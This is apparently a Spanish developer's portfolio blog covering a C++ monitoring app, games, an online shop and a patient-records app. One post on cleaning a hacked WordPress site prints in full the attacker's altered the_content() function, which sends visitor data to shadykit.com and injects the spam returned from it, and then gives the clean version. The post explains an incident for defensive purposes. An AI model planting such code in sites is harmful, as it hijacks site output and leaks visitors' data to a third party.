Aplicación cliente servidor usando C++11 y la librería Boost

Aplicación cliente servidor usando C++11 y la librería Boost

System Activity Monitor

Hoy os traigo una nueva aplicación a la venta, se trata de un software para observar máquinas y enviar información a un servidor a través de un socket de protocolo http.

Objetivo del programa

Este par de programas ofrece el diseño de una arquitectura cliente/servidor multi-plataforma para coleccionar estadísticas (o cualquier otra información) en red.

Características del código fuente
  • Cliente/Servidor escritos íntegramente en C++11 usando las librerías boost para todos los SO, y las librerías gtop2 para GNU Linux/cygwin/OSX y las psapi + pdh en el caso de Windows.
  • Posibilidad de usar una base de datos nosql o relacional (tipo mysql) opcionalmente
  • Todo el software es abierto y no usa código propietario de terceros

Como siempre, lo más fácil es ver el funcionamiento del programa usando un vídeo de youtube:

Leer más

Protege tu WordPress contra nuevos tipos de ataques, SEO-SPAM y Pharma spam

Ya sabéis que uno de los servicios que ofrezco como programador analista es la limpieza de servidores, aplicaciones web y gestores de contenidos como WordPress.
Últimamente los crackers (que no hackers de sombrero negro o blackhat hacker) se las están ingeniendo para hacer la vida imposible a los pobres usuarios de WordPress.
Entre los ataques más difíciles que he encontrado está el nuevo tipo de ataque que va directamente a destinado a los robots de buscadores, como puede ser el Google Bot Spider, por ejemplo.

Lo primero que hacen es buscar una vulnerabilidad potencial en usando ciertas cadenas que les permiten encontrar sitios desactualizados, donde lanzar el ataque, que es básicamente, modificar un fichero de vuestros plugins,temas o el propio núcleo de WordPress para hacer que vuestro sistema de forma transparente, coloque spam gestionado desde el exterior.

Este caso en concreto me resultó extremadamente difícil de encontrar porque se había sobreescrito el fichero de WordPress
./wp-includes/post-template.php
utilizando un agujero de seguridad en uno de los plugins del cliente, no recuerdo si era js_composer, rev_slider ó uno de esos frameworks que tienen fallos de seguridad en sus gigantescos boostrap llenos de ficheros javascript y php con vulnerabilidades.

En dicho post-template.php, el atacante reemplazaba la función the_content por esta otra:

function the_content( $more_link_text = null, $strip_teaser = false) {
	$content = get_the_content( $more_link_text, $strip_teaser );
	$content = apply_filters( 'the_content', $content );
	$content = str_replace( ']]>', ']]>', $content );
 
	if (defined('WP_LOAD_FLAG')) {
		echo $content;
		return;
	}
 
	define('WP_LOAD_FLAG', true);
 
	$input['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ?
          $_SERVER['REMOTE_ADDR'] : null;
	$input['SERVER_NAME'] = isset($_SERVER['SERVER_NAME']) ?
          $_SERVER['SERVER_NAME'] : null;
	$input['REQUEST_URI'] = isset($_SERVER['REQUEST_URI']) ? 
          $_SERVER['REQUEST_URI'] : null;
	$input['HTTP_USER_AGENT'] = isset($_SERVER['HTTP_USER_AGENT']) ? 
          $_SERVER['HTTP_USER_AGENT'] : null;
 
	$value = 'p=' . urlencode(base64_encode(serialize($input)));
 
	$request  = "POST /api/link/ HTTP/1.1\r\n";
	$request .= "Host: shadykit.com\r\n";
	$request .= "Connection: close\r\n";
	$request .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$request .= "Content-Length: " . strlen($value) . "\r\n";
	$request .= "\r\n";
	$request .= $value;
 
	$data = '';
 
	$socket = @fsockopen('shadykit.com', 80, $errno, $errstr, 10);
	if ($socket) {
		$response = null;
		stream_set_timeout($socket, 10);
		fwrite($socket, $request);
		while (!feof($socket)) {
			$response .= fgets($socket, 1024);
		}
		fclose($socket);
		preg_match('/Content-Length: ([0-9]+)/', $response, $parts);
		if ($parts[1] != 0) {
			@$data = gzuncompress(substr($response, - $parts[1]));
		}
	}
 
	echo $data . $content;
}

es bastante inteligente, abre el contenido de la url del blog de WP encriptada (para que al devolver el contenido se sobreescriban las cabeceras desencriptadas al devolver el resultado y no se sospeche, supongo) , e inyectar el contenido justo antes de la divisón del contenido que estemos imprimiendo con la función the_content, ya sea en un page.php, o cualquier otro tipo de plantilla de nuestro tema de WordPress. Para saber si mostrar o no el spam y qué mostrar, el cracker usa su propio código en el servidor, generando el texto más adecuado al ataque spam destinado a tu sitio en concreto, quizás le interesará más un dispositivo móvil o un buscador que un PC, usará palabras asociadas al idioma de la web origen y generará una historia que vincule su anillo de sitios webs atacados para generar mejor rating de sus propios enlaces. Una genialidad, del mal,claro jaja

Esta función lo que debería tener es lo siguiente:

function the_content( $more_link_text = null, $strip_teaser = false) {
        $content = get_the_content( $more_link_text, $strip_teaser );
        $content = apply_filters( 'the_content', $content );
        $content = str_replace( ']]>', ']]>', $content );
        echo $content;
}

aquí tenéis un enlace con las diferencias.

Si necesitas una limpieza en tu sitio web, contacta conmigo.

Videojuego desarrollado en AS3: Flash + PHP + MySQL + XHTML + jQuery

Como algunos ya sabréis, me dedico al desarrollo videojuegos para cualquier plataforma, éste fué uno de los proyectos que un cliente ( makro.es ) me pidió hace un tiempo.

Se trata de un videojuego tipo Trivial Pursuit con los gráficos de Joan Carles Muñoz, desarrollado durante dos semanas, consiste en una serie de preguntas que pueden definirse fácilmente y sólo una de ellas es correcta. Trae soporte de login usando una conexión a un servidor Apache con PHP y MySQL y en varios lenguajes, en este caso portugués y español. Las preguntas son aleatorias, aunque no hay límite de tiempo, se compite por empezar y acabar antes que nadie así como tener el menor número de fallos posible.

Vídeo:

Está todo hecho de cero, desde los textos hasta los botones pasando por las animaciones, que son interpolaciones hechas con con tweeners.

Cuando un usuario hace el login, se guarda la hora de inicio de la partida, después, al conseguir todos los quesitos, se guarda la información generada: fallos, tiempos, etc.,así como se calcula el mejor tiempo conseguido. Todo va a la base de datos MySQL que se presenta a los encargados de la administración como un listado de personas con sus datos correspondientes, ordenado por los mejores tiempos de partida, esta parte fué elaborada usando jQuery así como las plantillas en XHTML+CSS3.

Estos datos pueden ser exportados como CSV en modo texto para ser importados y tratados posteriormente en programas de análisis de datos como puede ser Microsoft Excel, permitiendo así analizar las partidas de los usuarios y hacer gráficos con ellos.

La parte más complicada fué ,quizás, la de los estados del juego y las firmas de seguridad incluídas usando encriptación en ambas partes, cliente y servidor. En cualquier caso, fué un desarrollo bastante entretenido.

Tienda online a medida y servicios web

Esta tienda online de una pastelería andaluza está hecha “de cero” como una aplicación PHP + MySQL con un diseño y maquetación en XHTML + CSS de Joan Carles Muñoz y una gestión de la arquitectura de la información y posicionamiento de Massimo Grani.

Entre las opciones que posibilita el hacer una aplicación a medida para construir tu tienda online, podemos encontrar la libertad de hacer las cosas a nuestra manera, en este caso era necesario porque los mecanismos de generación de datos de los productos eran dependientes de herramientas externas, es decir, los datos llegaban desde servicios web que podrían tener varias categorías y subcategorías, cada producto tiene diferentes campos, entre los que cabe destacar el precio por litro o kilo o unidad, que tiene diferentes formas de calcularse a la hora de gestionar los pedidos y el stock.

Los stocks además son controlados por medio de llamadas al software residente en la tienda física, en el ordenador del administrador que recibe los pedidos pudiendo corregirlos antes de procesarlos y enviarlos, comunicando los cambios directamente a la web que refleja la información para que el usuario final pueda estar informado.

Entre las tecnologías usadas podemos destacar:

  • AJAX para gestión de stock, carrito, pedidos, etc.
  • Cuentas de diferentes roles, que deben ser confirmadas por el software del administrador para ser válidos en la web, por ejemplo, un tipo de usuario distribuidor puede realizar pedidos de más cantidades,etc. y para eso necesita permisos especiales, estas comprobaciones de usuario se realizan con servicios web
  • Scripts automatizados y meta-programación: cuando se administran contenidos multimedia se pre-configuran para que la información que esté asociada a ella como meta-etiquetas, thumbnails, etc., tengan cabida en su contexto, hay un seguimiento en el back-end para que el administrador lo tenga todo más fácil
  • El front-end dispone de varios efectos realizados en la maqueta, se pueden especificar diferentes temas para la tienda
  • etc

iPasteleria :: app web 2.0

Programador de Videojuegos

He realizado diversos trabajos como programador de videojuegos.

Mis clientes a veces me piden juegos en 2D/3D para diversas plataformas, me encargo del desarrollo del juego multiplataforma con Shiva 3D/Codea/C++/Objective C, etc.
Aquí se muestran algunos de los videojuegos producidos para la venta:

también he realizado diversos juegos freesource:

  • Abduction ( juego de rescatar personas de un planeta con diferentes toques con los dedos)
  • Sprint Animal ( scroller en horizontal de un bichito que salta)
  • Speed Shooter Earth ( shoot’em up de naves sobre los mapas de Google Maps en varios aeropuertos)
  • Towers versus Zombies ( como el Plant vs Zombies pero con torretas y más simple :) )
  • Conecta 4 (forma parte de una serie de juegos de mesa para tabletas)

en estos momentos me encuentro desarrollando otros juegos:

estos son los juegos de los concursos, como Ludum Dare:

 

He participado con empresas en la creación de componentes para videojuegos, no puedo poner los nombres por acuerdos.

 

Base de datos de pacientes, aplicación web AJAX

Este proyecto sirve para cualquier especialista que necesite llevar un registro de pacientes, a saber: sus visitas, datos personales, pruebas, etc., es decir, todo lo referente a una historia clínica.
Mantiene información actualizada visualizando en primer lugar lo que el especialista necesita para trabajar, en este caso, como se puede ver en el vídeo, los “evolutivos” de un paciente, y los datos asociados a su historia.
Al ser una aplicación AJAX se pueden hacer cambios muy rápidamente, cosa que se agradece cuando se necesita agilizar el proceso de atención de una persona en un despacho.
Veamos el vídeo:

La aplicación dispone de un usuario y password para mantener la privacidad, una vez dentro el especialista puede gestionar los pacientes añadiendo datos como, nombre y apellidos, una fotografía, fecha de nacimiento,etc., y por supuesto, la información adicional que sea necesaria, el cliente en este caso me pidió poder editar:

  • Varios evolutivos (campos de texto enriquecido)
  • Textos de exploración física, amanesis y tratamiento (editor WYSIWYG)
  • Múltiples pruebas y diagnósticos: tabla de datos con registros por título, descripción,fichero asociado,etc.
  • Lo mismo para antecedentes ,sólo que se podían añadir diferentes tipos de antecedentes (ver vídeo)
  • Gestión de ficheros
  • Buscador integrado para todas las tablas y conjuntos de datos: se pueden filtrar en tiempo real el flujo de datos especificando cadenas de texto, números de teléfono o cualquier otro dato disponible en cuestión de milisegundos
  • Calendario de citas, eventos y recuerdos
  • Gestor de tareas pendientes sencillo

La aplicación puede modificarse a placer o incluir cualquier detalle adicional, está pensada para trabajar con módulos que se van añadiendo y se comunican entre sí.

Versión final
Ver captura de la versión final

Como algo opcional, el calendario está diseñado para operar cambios en las citas del especialista arrastrando y soltando, en el escritorio podemos ver los últimos pacientes que hemos citado, los que hemos visto más recientemente, los que tenemos más graves, las tareas pendientes, eventos de nuestra agenda, etc.

Consulta el dossier descargándolo aquí
Requisitos del servidor:
* PHP 4 ó 5
* MySQL versión 5 ó mayor.
* Servidor Apache